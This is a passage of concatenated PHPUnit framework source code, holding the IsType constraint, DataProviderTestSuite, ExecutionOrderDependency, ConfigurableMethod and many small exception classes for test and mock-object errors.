'resource'; /** * @var string */ public const TYPE_CLOSED_RESOURCE = 'resource (closed)'; /** * @var string */ public const TYPE_STRING = 'string'; /** * @var string */ public const TYPE_SCALAR = 'scalar'; /** * @var string */ public const TYPE_CALLABLE = 'callable'; /** * @var string */ public const TYPE_ITERABLE = 'iterable'; /** * @psalm-var array */ private const KNOWN_TYPES = [ 'array' => true, 'boolean' => true, 'bool' => true, 'double' => true, 'float' => true, 'integer' => true, 'int' => true, 'null' => true, 'numeric' => true, 'object' => true, 'real' => true, 'resource' => true, 'resource (closed)' => true, 'string' => true, 'scalar' => true, 'callable' => true, 'iterable' => true, ]; /** * @psalm-var 'array'|'boolean'|'bool'|'double'|'float'|'integer'|'int'|'null'|'numeric'|'object'|'real'|'resource'|'resource (closed)'|'string'|'scalar'|'callable'|'iterable' */ private readonly string $type; /** * @psalm-param 'array'|'boolean'|'bool'|'double'|'float'|'integer'|'int'|'null'|'numeric'|'object'|'real'|'resource'|'resource (closed)'|'string'|'scalar'|'callable'|'iterable' $type * * @throws UnknownTypeException */ public function __construct(string $type) { if (!isset(self::KNOWN_TYPES[$type])) { throw new UnknownTypeException($type); } $this->type = $type; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'is of type %s', $this->type, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { switch ($this->type) { case 'numeric': return is_numeric($other); case 'integer': case 'int': return is_int($other); case 'double': case 'float': case 'real': return is_float($other); case 'string': return is_string($other); case 'boolean': case 'bool': return is_bool($other); case 'null': return null === $other; case 'array': return is_array($other); case 'object': return is_object($other); case 'resource': $type = gettype($other); return $type === 'resource' || $type === 'resource (closed)'; case 'resource (closed)': return gettype($other) === 'resource (closed)'; case 'scalar': return is_scalar($other); case 'callable': return is_callable($other); case 'iterable': return is_iterable($other); default: return false; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function explode; use PHPUnit\Framework\TestSize\TestSize; use PHPUnit\Metadata\Api\Groups; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DataProviderTestSuite extends TestSuite { /** * @psalm-var list */ private array $dependencies = []; private ?array $providedTests = null; /** * @psalm-param list $dependencies */ public function setDependencies(array $dependencies): void { $this->dependencies = $dependencies; foreach ($this->tests() as $test) { if (!$test instanceof TestCase) { continue; } $test->setDependencies($dependencies); } } /** * @psalm-return list */ public function provides(): array { if ($this->providedTests === null) { $this->providedTests = [new ExecutionOrderDependency($this->name())]; } return $this->providedTests; } /** * @psalm-return list */ public function requires(): array { // A DataProviderTestSuite does not have to traverse its child tests // as these are inherited and cannot reference dataProvider rows directly return $this->dependencies; } /** * Returns the size of each test created using the data provider(s). */ public function size(): TestSize { [$className, $methodName] = explode('::', $this->name()); return (new Groups)->size($className, $methodName); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class AssertionFailedError extends Exception implements SelfDescribing { /** * Wrapper for getMessage() which is declared as final. */ public function toString(): string { return $this->getMessage(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class CodeCoverageException extends Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class EmptyStringException extends InvalidArgumentException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_keys; use function get_object_vars; use function is_int; use function sprintf; use RuntimeException; use Throwable; /** * Base class for all PHPUnit Framework exceptions. * * Ensures that exceptions thrown during a test run do not leave stray * references behind. * * Every Exception contains a stack trace. Each stack frame contains the 'args' * of the called function. The function arguments can contain references to * instantiated objects. The references prevent the objects from being * destructed (until test results are eventually printed), so memory cannot be * freed up. * * With enabled process isolation, test results are serialized in the child * process and unserialized in the parent process. The stack trace of Exceptions * may contain objects that cannot be serialized or unserialized (e.g., PDO * connections). Unserializing user-space objects from the child process into * the parent would break the intended encapsulation of process isolation. * * @see http://fabien.potencier.org/article/9/php-serialization-stack-traces-and-exceptions * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class Exception extends RuntimeException implements \PHPUnit\Exception { protected array $serializableTrace; public function __construct(string $message = '', int|string $code = 0, ?Throwable $previous = null) { /** * @see https://github.com/sebastianbergmann/phpunit/issues/5965 */ if (!is_int($code)) { $message .= sprintf( ' (exception code: %s)', $code, ); $code = 0; } parent::__construct($message, $code, $previous); $this->serializableTrace = $this->getTrace(); foreach (array_keys($this->serializableTrace) as $key) { unset($this->serializableTrace[$key]['args']); } } public function __serialize(): array { return get_object_vars($this); } /** * Returns the serializable trace (without 'args'). */ public function getSerializableTrace(): array { return $this->serializableTrace; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Exception; use SebastianBergmann\Comparator\ComparisonFailure; /** * Exception for expectations which failed their check. * * The exception contains the error message and optionally a * SebastianBergmann\Comparator\ComparisonFailure which is used to * generate diff output of the failed expectations. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExpectationFailedException extends AssertionFailedError { protected ?ComparisonFailure $comparisonFailure = null; public function __construct(string $message, ?ComparisonFailure $comparisonFailure = null, ?Exception $previous = null) { $this->comparisonFailure = $comparisonFailure; parent::__construct($message, 0, $previous); } public function getComparisonFailure(): ?ComparisonFailure { return $this->comparisonFailure; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GeneratorNotSupportedException extends InvalidArgumentException { public static function fromParameterName(string $parameterName): self { return new self( sprintf( 'Passing an argument of type Generator for the %s parameter is not supported', $parameterName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface IncompleteTest extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncompleteTestError extends AssertionFailedError implements IncompleteTest { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class InvalidArgumentException extends Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidCoversTargetException extends CodeCoverageException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidDataProviderException extends Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidDependencyException extends AssertionFailedError implements SkippedTest { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoChildTestSuiteException extends Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ActualValueIsNotAnObjectException extends Exception { public function __construct() { parent::__construct( 'Actual value is not an object', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotAcceptParameterTypeException extends Exception { public function __construct(string $className, string $methodName, string $type) { parent::__construct( sprintf( '%s is not an accepted argument type for comparison method %s::%s().', $type, $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareBoolReturnTypeException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not declare bool return type.', $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareExactlyOneParameterException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not declare exactly one parameter.', $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotDeclareParameterTypeException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Parameter of comparison method %s::%s() does not have a declared type.', $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonMethodDoesNotExistException extends Exception { public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Comparison method %s::%s() does not exist.', $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhptAssertionFailedError extends AssertionFailedError { private readonly string $syntheticFile; private readonly int $syntheticLine; private readonly array $syntheticTrace; private readonly string $diff; public function __construct(string $message, int $code, string $file, int $line, array $trace, string $diff) { parent::__construct($message, $code); $this->syntheticFile = $file; $this->syntheticLine = $line; $this->syntheticTrace = $trace; $this->diff = $diff; } public function syntheticFile(): string { return $this->syntheticFile; } public function syntheticLine(): int { return $this->syntheticLine; } public function syntheticTrace(): array { return $this->syntheticTrace; } public function diff(): string { return $this->diff; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ProcessIsolationException extends Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface SkippedTest extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SkippedTestSuiteError extends AssertionFailedError implements SkippedTest { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SkippedWithMessageException extends AssertionFailedError implements SkippedTest { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownClassOrInterfaceException extends InvalidArgumentException { public function __construct(string $name) { parent::__construct( sprintf( 'Class or interface "%s" does not exist', $name, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownTypeException extends InvalidArgumentException { public function __construct(string $name) { parent::__construct( sprintf( 'Type "%s" is not known', $name, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_filter; use function array_map; use function array_values; use function explode; use function in_array; use function str_contains; use PHPUnit\Metadata\DependsOnClass; use PHPUnit\Metadata\DependsOnMethod; use Stringable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionOrderDependency implements Stringable { private string $className = ''; private string $methodName = ''; private readonly bool $shallowClone; private readonly bool $deepClone; public static function invalid(): self { return new self( '', '', false, false, ); } public static function forClass(DependsOnClass $metadata): self { return new self( $metadata->className(), 'class', $metadata->deepClone(), $metadata->shallowClone(), ); } public static function forMethod(DependsOnMethod $metadata): self { return new self( $metadata->className(), $metadata->methodName(), $metadata->deepClone(), $metadata->shallowClone(), ); } /** * @psalm-param list $dependencies * * @psalm-return list */ public static function filterInvalid(array $dependencies): array { return array_values( array_filter( $dependencies, static fn (self $d) => $d->isValid(), ), ); } /** * @psalm-param list $existing * @psalm-param list $additional * * @psalm-return list */ public static function mergeUnique(array $existing, array $additional): array { $existingTargets = array_map( static fn ($dependency) => $dependency->getTarget(), $existing, ); foreach ($additional as $dependency) { $additionalTarget = $dependency->getTarget(); if (in_array($additionalTarget, $existingTargets, true)) { continue; } $existingTargets[] = $additionalTarget; $existing[] = $dependency; } return $existing; } /** * @psalm-param list $left * @psalm-param list $right * * @psalm-return list */ public static function diff(array $left, array $right): array { if ($right === []) { return $left; } if ($left === []) { return []; } $diff = []; $rightTargets = array_map( static fn ($dependency) => $dependency->getTarget(), $right, ); foreach ($left as $dependency) { if (in_array($dependency->getTarget(), $rightTargets, true)) { continue; } $diff[] = $dependency; } return $diff; } public function __construct(string $classOrCallableName, ?string $methodName = null, bool $deepClone = false, bool $shallowClone = false) { $this->deepClone = $deepClone; $this->shallowClone = $shallowClone; if ($classOrCallableName === '') { return; } if (str_contains($classOrCallableName, '::')) { [$this->className, $this->methodName] = explode('::', $classOrCallableName); } else { $this->className = $classOrCallableName; $this->methodName = !empty($methodName) ? $methodName : 'class'; } } public function __toString(): string { return $this->getTarget(); } public function isValid(): bool { // Invalid dependencies can be declared and are skipped by the runner return $this->className !== '' && $this->methodName !== ''; } public function shallowClone(): bool { return $this->shallowClone; } public function deepClone(): bool { return $this->deepClone; } public function targetIsClass(): bool { return $this->methodName === 'class'; } public function getTarget(): string { return $this->isValid() ? $this->className . '::' . $this->methodName : ''; } public function getTargetClassName(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use SebastianBergmann\Type\Type; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ConfigurableMethod { /** * @psalm-var non-empty-string */ private readonly string $name; /** * @psalm-var array */ private readonly array $defaultParameterValues; /** * @psalm-var non-negative-int */ private readonly int $numberOfParameters; private readonly Type $returnType; /** * @psalm-param non-empty-string $name * @psalm-param array $defaultParameterValues * @psalm-param non-negative-int $numberOfParameters */ public function __construct(string $name, array $defaultParameterValues, int $numberOfParameters, Type $returnType) { $this->name = $name; $this->defaultParameterValues = $defaultParameterValues; $this->numberOfParameters = $numberOfParameters; $this->returnType = $returnType; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } /** * @psalm-return array */ public function defaultParameterValues(): array { return $this->defaultParameterValues; } /** * @psalm-return non-negative-int */ public function numberOfParameters(): int { return $this->numberOfParameters; } public function mayReturn(mixed $value): bool { return $this->returnType->isAssignable(Type::fromValue($value, false)); } public function returnTypeDeclaration(): string { return $this->returnType->asString(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class BadMethodCallException extends \BadMethodCallException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotUseOnlyMethodsException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type, string $methodName) { parent::__construct( sprintf( 'Trying to configure method "%s" with onlyMethods(), but it does not exist in class "%s"', $methodName, $type, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function get_debug_type; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class IncompatibleReturnValueException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(ConfigurableMethod $method, mixed $value) { parent::__construct( sprintf( 'Method %s may not return value of type %s, its declared return type is "%s"', $method->name(), get_debug_type($value), $method->returnTypeDeclaration(), ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MatchBuilderNotFoundException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $id) { parent::__construct( sprintf( 'No builder found for match builder identification <%s>', $id, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MatcherAlreadyRegisteredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $id) { parent::__construct( sprintf( 'Matcher with id <%s> is already registered', $id, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodCannotBeConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $method) { parent::__construct( sprintf( 'Trying to configure method "%s" which cannot be configured because it does not exist, has not been specified, is final, or is static', $method, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method name is already configured'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodNameNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method name is not configured'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MethodParametersAlreadyConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Method parameters already configured'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class NeverReturningMethodException extends RuntimeException implements Exception { /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { parent::__construct( sprintf( 'Method %s::%s() is declared to never return', $className, $methodName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoMoreReturnValuesConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(Invocation $invocation, int $numberOfConfiguredReturnValues) { parent::__construct( sprintf( 'Only %d return values have been configured for %s::%s()', $numberOfConfiguredReturnValues, $invocation->className(), $invocation->methodName(), ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReturnValueNotConfiguredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(Invocation $invocation) { parent::__construct( sprintf( 'No return value is configured for %s::%s() and return value generation is disabled', $invocation->className(), $invocation->methodName(), ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CannotUseAddMethodsException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type, string $methodName) { parent::__construct( sprintf( 'Trying to configure method "%s" with addMethods(), but it exists in class "%s". Use onlyMethods() for methods that exist in the class', $methodName, $type, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassIsEnumerationException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" is an enumeration and cannot be doubled', $className, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassIsFinalException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" is declared "final" and cannot be doubled', $className, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ClassIsReadonlyException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" is declared "readonly" and cannot be doubled', $className, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function array_diff_assoc; use function array_unique; use function implode; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DuplicateMethodException extends \PHPUnit\Framework\Exception implements Exception { /** * @psalm-param list $methods */ public function __construct(array $methods) { parent::__construct( sprintf( 'Cannot double using a method list that contains duplicates: "%s" (duplicate: "%s")', implode(', ', $methods), implode(', ', array_unique(array_diff_assoc($methods, array_unique($methods)))), ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use PHPUnit\Framework\MockObject\Exception as BaseException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends BaseException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidMethodNameException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $method) { parent::__construct( sprintf( 'Cannot double method with invalid name "%s"', $method, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NameAlreadyInUseException extends \PHPUnit\Framework\Exception implements Exception { /** * @psalm-param class-string|trait-string $name */ public function __construct(string $name) { parent::__construct( sprintf( 'The name "%s" is already in use', $name, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class OriginalConstructorInvocationRequiredException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct('Proxying to original methods requires invoking the original constructor'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ReflectionException extends \PHPUnit\Framework\Exception implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \PHPUnit\Framework\Exception implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SoapExtensionNotAvailableException extends \PHPUnit\Framework\Exception implements Exception { public function __construct() { parent::__construct( 'The SOAP extension is required to generate a test double from WSDL', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownClassException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $className) { parent::__construct( sprintf( 'Class "%s" does not exist', $className, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5243 */ final class UnknownTraitException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $traitName) { parent::__construct( sprintf( 'Trait "%s" does not exist', $traitName, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UnknownTypeException extends \PHPUnit\Framework\Exception implements Exception { public function __construct(string $type) { parent::__construct( sprintf( 'Class or interface "%s" does not exist', $type, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use const PHP_EOL; use const PHP_VERSION; use const PREG_OFFSET_CAPTURE; use const WSDL_CACHE_NONE; use function array_merge; use function array_pop; use function array_unique; use function assert; use function class_exists; use function count; use function explode; use function extension_loaded; use function implode; use 